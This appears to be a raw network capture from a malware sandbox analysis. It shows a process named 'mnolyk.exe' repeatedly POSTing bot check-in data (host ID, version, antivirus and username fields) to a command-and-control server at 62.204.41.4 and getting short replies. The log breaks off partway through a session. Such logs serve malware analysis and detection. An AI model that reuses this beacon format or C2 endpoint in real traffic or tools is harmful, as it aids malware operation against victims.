Feb 6, 2023 14:18:43.587764978 CET	628	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.2.5	50118	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:43.766871929 CET	628	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:43.830147028 CET	629	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	192.168.2.5	50119	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:44.008779049 CET	629	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:44.075440884 CET	630	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49733	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:51.368597031 CET	244	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:51.434515953 CET	244	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.2.5	50120	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:44.246464968 CET	630	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:44.311366081 CET	631	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	192.168.2.5	50121	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:44.477396011 CET	631	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:44.541924000 CET	632	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.2.5	50122	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:44.731116056 CET	632	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:44.796539068 CET	633	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	192.168.2.5	50123	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:44.976743937 CET	633	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:45.042740107 CET	634	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.2.5	50124	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:45.227690935 CET	634	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:45.292344093 CET	635	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	192.168.2.5	50125	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:45.461673021 CET	635	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:45.543565035 CET	636	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.2.5	50126	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:45.717299938 CET	636	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:45.781358957 CET	637	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	192.168.2.5	50127	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:45.946491003 CET	637	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:46.009880066 CET	638	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.2.5	50128	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:46.183273077 CET	638	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:46.249476910 CET	639	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	192.168.2.5	50129	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:46.436569929 CET	639	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:46.500448942 CET	640	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49734	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:51.611738920 CET	245	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:51.678834915 CET	245	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.2.5	50130	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:46.681000948 CET	640	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:46.745626926 CET	641	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.2.5	50131	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:46.931869984 CET	641	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:46.996388912 CET	642	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	192.168.2.5	50132	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:47.164865017 CET	642	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:47.230132103 CET	643	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	192.168.2.5	50133	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:47.416110039 CET	643	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:47.481126070 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.2.5	50134	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:47.648864031 CET	644	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:47.712028027 CET	645	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	192.168.2.5	50135	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:47.882066965 CET	645	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:47.944685936 CET	646	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.2.5	50136	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:48.120124102 CET	646	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:48.184925079 CET	647	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	192.168.2.5	50137	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
